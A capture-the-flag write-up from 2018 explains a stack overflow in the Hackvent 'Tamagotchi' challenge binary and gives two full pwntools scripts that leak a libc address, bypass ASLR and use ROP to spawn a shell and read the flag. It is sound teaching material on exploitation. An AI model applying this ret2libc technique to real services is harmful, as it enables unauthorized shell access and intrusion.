CTF Writeup: Hackvent 2017 Day 21 - "Tamagotchi"

By David Buchanan, 6th January 2018

For this challenge, we were provided with two files: tamagotchi and libc-2.26.so (Both ELF files), along with the address of a remote service running the same program. This is a typical setup for an exploitation challenge - We need to figure out how to exploit the remote service in order to gain access to the flag, which is presumably stored somewhere on the remote machine.

One of my first steps when dealing with such a challenge is to check what security features are enabled:

1
2
3
$ checksec --file tamagotchi 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No      0         2            tamagotchi

NX is enabled, so we can't be putting shellcode on the stack, but the lack of PIE and stack canary makes it look likely we'll be using ROP in some form. The fact that they provided their libc.so is a hint that we'll probably want to ROP into that at some point.

The next step is of course to run the program and see what it does:

°º¤ø,¸¸,ø¤º°`°º¤ø,¸,ø¤°º¤ø,¸¸,ø¤º°`°º¤ø,¸
°º¤ø,¸¸,ø¤º°  TAMAGOTCHI   ¸¸,ø¤º°`°º¤ø,¸
°º¤ø,¸¸,ø¤º°`°º¤ø,¸,ø¤°º¤ø,¸¸,ø¤º°`°º¤ø,¸

                __O__
              .'     '.
            .'         '.
           .  _________  .
           : |   .-.   | :
          :  |  ( - )  |  :      - ohai! pls food! :D
          :  |   " "   |  :
          :  |_________|  :
           |             |
           '   O     O   '
            ',    O    ,'
              '.......        | simple challenge by muffinx (twitter.com/muffiniks)

[MENU]
1.) eat
2.) bye
[ch01c3]> 

The program presents a very simple user interface with only two options. "eat" accepts some user input (and then does nothing with it?), and "bye" exits the program. The obvious thing to do here is to try giving the program some large inputs, shown here via the magic of asciinema:

Here, I am using gdb-peda in order to analyse the subsequent crash. The program segfaults when it tries to return from main(), because it is trying to return to address 0x4141414141414141! All the As that I sent as input ended up overflowing a buffer on the stack, overwriting the return pointer (the ascii value of A is 0x41). This means we have contol of the instruciton pointer (the aptly named rip register), but what can we do with that control?

A more "traditional" exploit might try to jump to shellcode on the stack, but we can't do that because the stack is not marked as executable (because of the NX bit). Instead, we must turn to Return Oriented Programming (ROP).

My eventual goal is to make the program run system("/bin/sh") in order to spawn a shell which I can use to extract the flag. Unfortunately, there isn't any code to do that in the program iteslf, but there is inside libc! So, we want to overflow the instruction pointer on the stack to point somewhere inside libc, but how do we know where? This question is slightly trickier to answer because of Address Space Layout Randomisation (ASLR). ASLR is present on almost all modern systems, and it means that code is loaded into memory at random unpredictable offsets.

In order to bypass this ASLR, we need to leak a pointer into libc so we know where it is in memory. Fortunately, there is already some code in the tamagotchi program that can help us to do this. Specifically, puts() is at a known location in the Procedure Linkage Table (PLT), which we can use to call puts() from libc, and use it to print a pointer to libc. We can find pointers to libc at a known location in the Global Offset Table (GOT).

Once I know where libc is, the second "stage" of the exploit that actually calls system("/bin/sh") needs to be generated dynamically. That means the first ROP payloads needs to make the program loop back to the beginning, ready for the stack to be smashed a second time.

To summarise, these are the main steps of the exploit:

  1. Smash the stack, use ROP to:
    • Leak a libc pointer.
    • Loop the program back to the beginning.
  2. Smash the stack again with a dynamically generated ROP payload that calls system("/bin/sh")
  3. Pop a shell!

And here it is all put together, using the awesome pwntools python module to help:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

TESTING = True

tama = ELF('./tamagotchi')

if TESTING:
	libc = ELF('/usr/lib/libc-2.26.so')
	t = process(["./tamagotchi"])
else:
	libc = ELF('./libc-2.26.so')
	t = remote("challenges.hackvent.hacking-lab.com", 31337)

POP_RDI = 0x0000000000400803

payload = "A"*216
payload += p64(POP_RDI) + p64(tama.got["fgets"])
payload += p64(tama.plt['puts'])
payload += p64(tama.symbols["main"])

t.sendline("1");
t.sendline(payload)
t.sendline("2")

t.recvuntil("bye bye\n")

libc_fgets = u64(t.readline()[:-1].ljust(8, "\0")) # may fail if \n in leaked address

LIBC_BASE = libc_fgets - libc.symbols["fgets"]

print("libc: " + hex(LIBC_BASE))

payload = "A"*216
payload += p64(POP_RDI) + p64(LIBC_BASE + next(libc.search("/bin/sh")))
payload += p64(LIBC_BASE + libc.symbols["system"])

t.sendline("1")
t.sendline(payload)
t.sendline("2")

t.recvuntil("bye bye\n")

t.interactive()

One small detail I've skipped until now is how I call functions with arguments, like puts(). In accordance with the System V x86-64 ABI, the first argument to a function is placed in the rdi register. In order to control rdi, I use a "ROP gadget" which executes the assembly instructions pop rdi; ret; in order to take a value from the stack (which I control) and put it in rdi . I used the tool "ROPgadget" in order to find this.

Note that I use the variable TESTING to decide whether I am testing the exploit on my local machine, or running it against the remote server. When testing, I load up my local libc library so that the offets calculated are correct for my machine, and of course I use the remote libc to calculate offets for remote exploitation.

Once the exploit is complete, it spawns a shell. It turns out the flag was inside a file called flag in the home directory, so running cat ~/flag gives us the flag!

Once I had that working, I thought i'd try out the pwntools ROP module. Conclusion - it's awesome, and makes things way easier:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

context.clear(arch = "x86_64", kernel = 'amd64')

TESTING = False

tama = ELF('./tamagotchi')

if TESTING:
	libc = ELF('/usr/lib/libc-2.26.so')
	t = process(["./tamagotchi"])
else:
	libc = ELF('./libc-2.26.so')
	t = remote("challenges.hackvent.hacking-lab.com", 31337)

rop = ROP(tama)
rop.puts(tama.got["fgets"])
rop.main()
log.info(rop.dump())

t.sendline("1");
t.sendline("A"*216 + rop.chain())
t.sendline("2")
t.recvuntil("bye bye\n")

libc_fgets = u64(t.readline()[:-1].ljust(8, "\0")) # may fail if \n in leaked address

libc.address = libc_fgets - libc.symbols["fgets"]

log.success("LIBC BASE ADDRESS: " + hex(libc.address))

rop2 = ROP(libc)
rop2.system(next(libc.search("/bin/sh")))
log.info(rop2.dump())

t.sendline("1")
t.sendline("A"*216 + rop2.chain())
t.sendline("2")
t.recvuntil("bye bye\n")

t.sendline("cat ~/flag")
log.success("FLAG: " + t.recvline().strip())

t.interactive()

One major advantage to this approach is that it is much easier to modify the payload, for example if I wanted to switch from using system() to using execve() I could just write:

1
rop2.execve(next(libc.search("/bin/sh")), 0, 0)

P.S. I was the first person to solve this challenge :P